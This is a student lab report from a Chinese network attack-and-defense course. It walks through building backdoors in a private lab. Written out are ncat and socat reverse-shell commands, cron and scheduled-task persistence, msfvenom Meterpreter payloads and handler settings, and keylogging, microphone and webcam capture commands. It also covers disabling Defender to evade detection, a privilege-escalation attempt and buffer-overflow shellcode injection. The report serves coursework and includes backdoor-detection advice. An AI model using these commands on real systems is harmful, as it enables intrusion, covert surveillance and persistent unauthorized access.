20242317 2026-2027-1 《网络与系统攻防技术》实验二实验报告
20242317 2026-2027-1 《网络与系统攻防技术》
实验二实验报告
学号:20242317 姓名:林楚皓
实验环境:攻击机Kali Linux(IP 192.168.126.131),靶机Windows宿主机(IP 192.168.126.1)。
一、基础知识
(一)后门与反弹Shell
后门(Backdoor)是指攻击者在攻陷一台主机后,为便于后续反复进入而留下的隐蔽通道或程序。它的核心作用是绕过正常的认证与访问控制,让攻击者能够长期、稳定地重新控制目标主机,而不必每次重新发起完整攻击。
在攻防实战中,由于目标主机通常位于内网、存在NAT或防火墙,攻击者难以从外部主动连接目标,因此普遍采用反弹Shell(Reverse Shell)机制:由目标主机主动向外发起连接,回连到攻击者的监听端口。其优势是能绕过防火墙对入站连接的拦截,因为出站连接通常是放行的。
反弹Shell的一般流程为:攻击机开启监听端口→目标机主动连接攻击机→目标机的命令行(Shell)被“交”给攻击机→攻击者获得目标机的远程操作权限。
(二)netcat
netcat被誉为“网络界的瑞士军刀”,是一个功能强大的网络工具,可实现端口监听、连接建立、数据传输、端口扫描等功能,常被用于建立反弹Shell。
常用参数:
| 参数 | 作用 |
|---|---|
-l |
开启监听模式 |
-v |
显示详细连接日志 |
-p 端口 |
指定监听端口 |
-e 程序 |
连接建立后执行指定程序(如/bin/bash或cmd.exe) |
(三)socat
socat(SOcket CAT)是netcat的增强版,支持更丰富的协议和数据转发方式,比netcat更强大。它通过地址描述连接两端,TCP-LISTEN:4445,fork表示监听TCP 4445端口并支持fork派生多客户端,STDIO表示绑定标准输入输出,EXEC:'cmd.exe /k',pipes表示连接建立后执行cmd.exe并启用Windows原生管道交互。
(四)cron与Windows任务计划程序
cron是Linux下用于周期性地执行某种任务或等待处理某些事件的守护进程。用户通过crontab -e编辑自己的定时任务表,每行定义一条任务,格式为:
分 时 日 月 周 命令
例如* * * * * /bin/bash /home/kali/Desktop/20242317_nc_backdoor.sh表示每分钟执行一次该脚本,从而实现后门的定时启动与持久化。crontab -l用于查看已配置的任务。
Windows任务计划程序(taskschd.msc)是Windows下对应的机制,可以按预定计划(每天、每周、每月等)、定时或系统事件触发启动程序,并可配置“重复任务间隔”“持续时间”“不管用户是否登录都运行”“隐藏”等属性,同样能实现后门的持久化启动。
(五)Metasploit框架与Meterpreter
Metasploit是当前最流行的开源渗透测试框架,集成了漏洞利用(exploit)、攻击载荷(payload)、辅助模块(auxiliary)、后渗透模块(post)等。msfconsole是其交互式控制台,msfvenom用于生成攻击载荷(如可执行后门文件、shellcode)。
Meterpreter是Metasploit内置的高级攻击载荷,运行在内存中,具备极其丰富的后渗透功能,如record_mic录制麦克风、webcam_snap拍摄摄像头、keyscan_*键盘记录、getsystem系统提权、sysinfo查看系统信息、getuid查看当前用户等。这些功能让攻击者在拿到会话后可以“像在目标本机一样”进行各种操作。
(六)免杀技术
通过编码器(如x86/shikata_ga_nai)、加壳、修改特征码等手段,使恶意程序规避杀毒软件的静态查杀与行为检测。实验中Windows Defender会拦截生成的Meterpreter后门,需通过关闭实时保护、添加排除项等方式规避。
二、实验内容
(一)实验目标
本次实验围绕“后门”的建立、持久化与利用展开,掌握后门原理及免杀技术。共五个实践内容:
1.使用netcat获取主机操作Shell,cron启动某项任务(任务自定);
2.使用socat获取主机操作Shell,任务计划启动;
3.使用MSF meterpreter(或其他软件)生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell;
4.使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权;
5.使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
(二)实验问题回答
问题1:例举你能想到的一个后门进入到你系统中的可能方式?
1.攻击者通过钓鱼邮件附件(如伪装成文档的恶意宏、可执行文件)诱导用户运行,释放后门;
2.利用系统或软件漏洞(如浏览器、Office、远程桌面漏洞)远程植入;
3.通过捆绑在破解软件、游戏外挂、绿色软件中分发;
4.利用供应链攻击,在正规软件更新包中植入;
5.通过U盘等移动存储介质摆渡植入;
6.内网横向移动,即先攻陷一台主机,再以此为跳板向同网段其他主机投递后门。
问题2:例举你知道的后门如何启动起来(win及linux)的方式?
(1)Linux方式:
1.cron定时任务(crontab -e,周期执行后门脚本);
2.开机自启服务(/etc/rc.local、systemd服务、/etc/init.d);
3.隐藏于/etc/profile、bash启动文件(~/.bashrc、~/.profile)中,用户登录时执行;
4.inetd/xinetd守护进程绑定后门端口。
(2)Windows方式:
1.任务计划程序(taskschd.msc,按计划或事件触发,可设重复间隔);
2.注册表自启动项(HKCU\Software\Microsoft\Windows\CurrentVersion\Run等);
3.启动文件夹(%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup);
4.服务(service)自启动,可配置为最高权限运行;
5.组策略(GPO)脚本。
问题3:Meterpreter有哪些给你印象深刻的功能?
1.record_mic:远程录制目标主机麦克风音频,实现语音监听;
2.webcam_list/webcam_snap:枚举目标摄像头并远程拍照,实现视觉监控;
3.keyscan_start/keyscan_dump:静默键盘记录,窃取用户输入的账号、密码等敏感信息;
4.getsystem:一键自动尝试多种提权技术,目标为获得系统最高SYSTEM权限;
5.sysinfo/getuid:快速获取目标系统信息与当前用户权限;
6.background/sessions:会话后台化与多会话管理,便于并行操作多个目标;
7.内存中运行、免杀性较好,难以被传统杀毒软件察觉。
问题4:如何发现自己系统有没有被安装后门?
1.检查端口监听情况:用netstat -ano(Windows)或netstat -tlnp(Linux)查看是否有未知的开放端口在监听;
2.检查进程:用任务管理器/ps -ef查看是否有可疑或陌生的进程在运行,特别关注隐藏进程;
3.检查开机自启项:查看Windows注册表自启动项、启动文件夹、任务计划程序、服务,以及Linux的cron、rc.local、systemd服务;
4.检查网络连接:用netstat或专业工具查看是否有异常的外连行为(如频繁向陌生IP发起连接);
5.对比系统文件:用chkrootkit/rkhunter(Linux)或杀毒软件全盘扫描,比对系统关键文件的校验和(如md5sum);
6.查看日志:检查系统安全日志、登录日志中是否有异常登录或操作记录;
7.使用专业检测工具:如Windows的Autoruns、Sysinternals套件,Linux的Rootkit Hunter、Tripwire等。
三、实验过程
实验准备:确认两台主机的ip
在Windows宿主机上用ipconfig查看ip并记录:
在Kali上用ip a查看网络配置,可见eth0的IP为192.168.126.131,作为攻击机地址:
(一)任务一:使用netcat获取主机操作Shell,cron启动任务
实验思路:在Windows宿主机(攻击机)开启监听,Kali(靶机)主动反弹连接,获取Kali的操作Shell;随后编写反弹脚本并用cron定时启动,实现持久化。
(1)安装ncat
Kali默认的nc不支持-e参数,直接执行ncat 192.168.126.1 4444 -e /bin/bash时报错“Command 'ncat' not found”,因此先用apt install ncat安装:
(2)Windows攻击机开启监听
在Windows宿主机打开PowerShell,进入C:\tools\20242317目录,执行监听命令:
ncat -lvp 4444
输出Ncat: Listening on 0.0.0.0:4444即为监听成功,窗口保持打开:

(3)Kali靶机发起反弹连接
在Kali终端执行(用ncat替代nc,解决-e参数不支持的问题):
ncat 192.168.126.1 4444 -e /bin/bash
执行后终端暂时“卡住”,属于正常现象,等待攻击机接收连接:
(4)验证成功获取Shell
回到Windows监听窗口,显示Ncat: Connection from 192.168.126.131,输入Linux命令即可远程操作Kali:
结果证明成功获取Kali的操作Shell。
(5)编写反弹后门脚本
在Kali终端用nano编辑脚本:
脚本内容为:
#!/bin/bash
ncat 192.168.126.1 4444 -e /bin/bash
保存退出,并添加执行权限:
chmod +x 20242317_nc_backdoor.sh
(6)添加cron定时任务
执行crontab -e,首次使用选择编辑器nano(输入1):
在文件末尾添加一行(绝对路径,每分钟执行一次):
* * * * * /bin/bash /home/kali/Desktop/20242317_nc_backdoor.sh
用ctrl+O保存,Enter确定文件名,ctrl+X退出。
(7)验证cron任务
用crontab -l查看已添加的任务,确认配置正确:
重新在Windows开启监听,等待1分钟左右,Kali会通过cron自动发起反弹连接,再次执行whoami等命令验证成功,证明cron定时后门生效:
任务一完成!
(二)任务二:使用socat获取主机操作Shell,任务计划启动
本实验交换攻击机与靶机角色:Kali(IP 192.168.126.131)作为攻击机开启监听,Windows宿主机(IP 192.168.126.1)作为靶机运行socat反弹命令行,随后用Windows任务计划程序实现持久化。
(1)Kali攻击机开启监听
在Kali终端执行(用fork支持多客户端连接,用STDIO绑定标准输入输出实现双向交互):
socat -d -d TCP-LISTEN:4445,fork STDIO
输出监听日志即为成功,窗口保持打开:

(2)Windows靶机发起反弹连接
在Windows cmd中进入socat所在目录,执行反弹命令:
cd C:\tools\20242317\socat
socat.exe TCP:192.168.126.131:4445 EXEC:'cmd.exe /k',pipes
执行后出现
Couldn't compute FAST_CWD pointer警告,这是Cygwin移植版的兼容提示,不影响功能,可以忽略:
(3)验证成功获取Shell
回到Kali监听窗口,显示连接成功日志(accepting connection from 192.168.126.1),输入Windows命令验证,成功获取Windows的操作Shell:
(4)编写批处理后门脚本
在Windows的C:\tools\20242317\socat目录新建文本文件,重命名为20242317_socat_backdoor.bat,编辑写入:
(5)创建任务计划
按下Win+R输入taskschd.msc回车打开任务计划程序:
点击“创建基本任务”,名称填写20242317_socat_backdoor,触发器选择“每天”,操作选择“启动程序”,浏览选中刚才的bat文件:
(6)配置任务高级属性
在触发器编辑中,勾选“重复任务间隔”设置为5分钟,持续时间选择1天,实现定时自动重连:
在“条件”选项卡,取消勾选“只有在计算机使用交流电源时才启动此任务”:
(7)验证任务生效
在任务计划程序库中找到20242317_socat_backdoor任务,右键选择“运行”,任务状态变为“正在运行”:
回到Kali的socat监听窗口,收到Windows主动发起的连接,再次执行whoami验证,任务成功生效。
任务二完成!
(三)任务三:MSF生成exe后门,传输并运行获取Meterpreter
本实验使用msfvenom生成Windows反弹Meterpreter后门可执行文件,通过ncat传送到Windows靶机并运行,在Kali用MSF开启监听获取Meterpreter会话。
(1)生成后门可执行文件
在Kali终端执行:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.126.131 LPORT=4446 -f exe -o 20242317_backdoor.exe
生成后门文件。
(2)传输后门文件
Kali段开启监听并发送文件:

Windows端主动连接下载:
传输成功后,C:\tools\目录下出现20242317_backdoor.exe:

(3)Windows Defender拦截与免杀处理
运行后门时,Windows Defender检测到Trojan:Win32/Meterpreter.RPZ!MTB,标记为严重威胁并阻止执行:
为完成本任务,需临时在Windows安全中心临时关闭“实时保护”“云提供的保护”“自动提交样本”,并添加排除文件夹C:\Users\86178\AppData\Local\Temp(MSF临时payload的默认存放目录),实现免杀规避:
(4)MSF开启监听
在Kali启动msfconsole:
配置监听模块,参数与生成后门时完全一致:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.126.131
set LPORT 4446
run
出现Started reverse TCP handler即为监听成功。

(5)Windows运行后门,获取会话
Windows中运行C:\tools\20242317_backdoor.exe(静默运行,无窗口弹出)。Kali的MSF出现Meterpreter session 1 opened,成功获取会话:

验证会话功能:

会话正常工作。
成功!
(四)任务四:Meterpreter高级功能操作与提权尝试
基于已建立的Meterpreter会话,依次完成音频录制、摄像头操作、键盘记录和权限提升尝试。
(1)麦克风音频录制
录制10秒,音频保存到/home/kali/Desktop/20242317_audio.wav:
(2)摄像头操作
枚举出靶机两个摄像头(Integrated Camera、Lenovo Virtual Camera),抓拍照片保存到Kali:
(3)键盘记录
keyscan_start
keyscan_dump
keyscan_stop
成功捕获到靶机用户输入的按键内容:
(4)提权尝试
第一次尝试getsystem:执行getsystem自动尝试多种提权技术,但报错All pipe instances are busy,提权失败:
第二次尝试MS16-032漏洞提权:先关闭Defender实时保护并添加排除项,再加载漏洞模块:
background
use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
set session 1
run
模块在目标上写入并执行PowerShell脚本,但执行脚本时出错(An error occurred executing the script),Exploit completed, but no session was created,提权再次失败:
失败原因分析:MS16-032是2016年的老旧漏洞,当前Windows 11 24H2系统已通过更新修复该漏洞,漏洞本身无法触发;同时Windows Defender+AMSI拦截了PowerShell载荷。这是攻防实战中的正常现象——提权成功率高度依赖靶机系统环境。
任务四完成!
(五)任务五:MSF生成shellcode,注入pwn1获取反弹连接Shell
本任务全程在Kali虚拟机内完成,核心是基于实践1中
pwn1_20242317程序的缓冲区溢出漏洞,将MSF生成的反弹Shellcode注入并执行,最终拿到反弹Shell。
(1)关闭ASLR,确认环境
临时关闭系统地址空间随机化,保证栈地址固定:
确认程序为32位(后续生成32位shellcode与之匹配):
(2)生成特征字符串验证偏移
用msf-pattern_create生成100字节特征字符串(用于在gdb中定位溢出偏移):
结合实践1的结论,
pwn1_20242317中foo函数缓冲区为28字节,从缓冲区起始到返回地址的偏移为32字节。
(3)生成反弹Shellcode
用msfvenom生成Linux 32位反向TCP Shellcode,并用-b剔除坏字符(空字节、换行、回车会截断gets读取):
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.126.131 LPORT=4448 -f raw -b "\x00\x0a\x0d" -o 20242317_msf_shellcode.bin
(4)编写攻击脚本
用nano编写Python攻击脚本20242317_msf_exploit.py,按“填充字节(32个A)+覆盖返回地址+NOP滑道+Shellcode”的结构拼接Payload:
(5)开启监听并执行注入
新开终端开启4448端口监听:
ncat -lvp 4448
执行溢出攻击,将Payload输入pwn1程序:
python3 20242317_msf_exploit.py | ./pwn1_20242317
(6)验证反弹Shell
监听窗口显示Ncat: Connection from 192.168.126.131,输入命令验证:
whoami # 输出 root
ip a # 查看本机网络
hostname # 输出 linchuhao
成功通过MSF生成的Shellcode注入,获得反弹连接的操作Shell:
大功告成!
四、问题及解决方案
问题1:Kali的nc -e参数无效,报错invalid option -- 'e'。
解决方案: Kali默认的nc是OpenBSD精简版netcat,出于安全考虑移除了-e参数。统一改用ncat(Nmap套件的完整版netcat,Kali用apt install ncat安装),Windows端和Linux端语法一致,完整支持-e参数。
问题2:任务三中,运行后门被Windows Defender拦截。
解决方案: 在Windows安全中心临时关闭“实时保护”“云提供的保护”“自动提交样本”,并添加排除文件夹C:\Users\86178\AppData\Local\Temp(MSF临时payload默认目录),实现免杀规避,后门得以运行并建立会话。
五、学习感悟、思考
以前,我不太理解后门的工作原理,总觉得非常神奇。但本次实验我体验了后门从建立、传输、运行到持久化的完整链路,也对免杀技术有了直观的体会。
后门之所以“防不胜防”,恰恰在于它总是借助系统本身合法的机制来实现恶意目的。比如cron任务计划程序、Windows任务计划、注册表自启动,这些本是方便系统管理的正常功能,却被攻击者用来让后门自己启动自己。但也不是一旦有后门就能轻易获取所有的操作权限(尝试提权却失败了),因为现在的Windows系统已经修复了。所以定期更新系统补丁还是很重要的。

浙公网安备 33010602011771号